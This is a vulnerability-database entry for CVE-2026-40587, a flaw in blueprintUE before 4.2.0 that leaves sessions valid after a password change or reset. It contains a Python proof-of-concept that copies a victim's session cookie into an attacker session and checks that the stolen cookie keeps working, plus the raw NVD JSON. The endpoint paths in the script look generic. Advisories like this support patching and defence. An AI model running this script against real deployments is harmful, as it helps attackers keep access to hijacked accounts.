Security Vulnerability Report
中文
CVE-2026-40587 CVSS 6.5 MEDIUM

CVE-2026-40587

Published: 2026-04-21 18:16:51
Last Modified: 2026-04-22 21:16:28

Description

blueprintUE is a tool to help Unreal Engine developers. Prior to 4.2.0, when a user changes their password via the profile edit page, or when a password reset is completed via the reset link, neither operation invalidates existing authenticated sessions for that user. A server-side session store associates userID → session; the current password change/reset flow updates only the password column in the users table and does not destroy or mark invalid any active sessions. As a result, an attacker who has already compromised a session retains full access to the account indefinitely — even after the legitimate user has detected the intrusion and changed their password — until the session's natural expiry time (configured as SESSION_GC_MAXLIFETIME, defaulting to 86400 seconds / 24 hours, with SESSION_LIFETIME=0 meaning persistent until browser close or GC, whichever is later). This vulnerability is fixed in 4.2.0.

CVSS Details

CVSS Score
6.5
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:N

Configurations (Affected Products)

No configuration data available.

blueprintUE < 4.2.0

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
# Proof of Concept (PoC) for CVE-2026-40587 # This script demonstrates that a session remains valid after a password change. import requests # Configuration target_url = "http://localhost:8080" # Replace with actual target login_endpoint = f"{target_url}/login" change_password_endpoint = f"{target_url}/api/user/password" protected_resource = f"{target_url}/api/dashboard" # User credentials username = "victim" old_password = "password123" new_password = "new_secure_password" # Initialize two sessions to simulate Attacker and Victim attacker_session = requests.Session() victim_session = requests.Session() # 1. Victim logs in and obtains a session cookie (which the attacker steals) print("[1] Victim logging in...") victim_payload = {"username": username, "password": old_password} victim_session.post(login_endpoint, data=victim_payload) # 2. Attacker steals the session cookie stolen_cookies = victim_session.cookies.get_dict() attacker_session.cookies.update(stolen_cookies) print("[2] Attacker stole the session cookie.") # 3. Verify attacker has access before password change response = attacker_session.get(protected_resource) print(f"[3] Attacker access BEFORE password change: {response.status_code} (200 means success)") # 4. Victim detects intrusion and changes password print("[4] Victim changing password...") change_payload = {"old_password": old_password, "new_password": new_password} victim_session.post(change_password_endpoint, data=change_payload) print("[5] Password changed successfully.") # 5. Attacker attempts to access the resource using the OLD stolen session print("[6] Attacker attempting access with OLD session after password change...") response_after = attacker_session.get(protected_resource) if response_after.status_code == 200: print("[!] VULNERABILITY CONFIRMED: Old session is still valid!") else: print("[+] Session invalidated properly. Not vulnerable.")

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-40587", "sourceIdentifier": "[email protected]", "published": "2026-04-21T18:16:51.073", "lastModified": "2026-04-22T21:16:27.863", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "blueprintUE is a tool to help Unreal Engine developers. Prior to 4.2.0, when a user changes their password via the profile edit page, or when a password reset is completed via the reset link, neither operation invalidates existing authenticated sessions for that user. A server-side session store associates userID → session; the current password change/reset flow updates only the password column in the users table and does not destroy or mark invalid any active sessions. As a result, an attacker who has already compromised a session retains full access to the account indefinitely — even after the legitimate user has detected the intrusion and changed their password — until the session's natural expiry time (configured as SESSION_GC_MAXLIFETIME, defaulting to 86400 seconds / 24 hours, with SESSION_LIFETIME=0 meaning persistent until browser close or GC, whichever is later). This vulnerability is fixed in 4.2.0."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:N", "baseScore": 6.5, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "HIGH", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "NONE"}, "exploitabilityScore": 1.2, "impactScore": 5.2}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-613"}]}], "references": [{"url": "https://github.com/blueprintue/blueprintue-self-hosted-edition/security/advisories/GHSA-gqpq-x62g-p4mg", "source": "[email protected]"}, {"url": "https://github.com/blueprintue/blueprintue-self-hosted-edition/security/advisories/GHSA-gqpq-x62g-p4mg", "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0"}]}}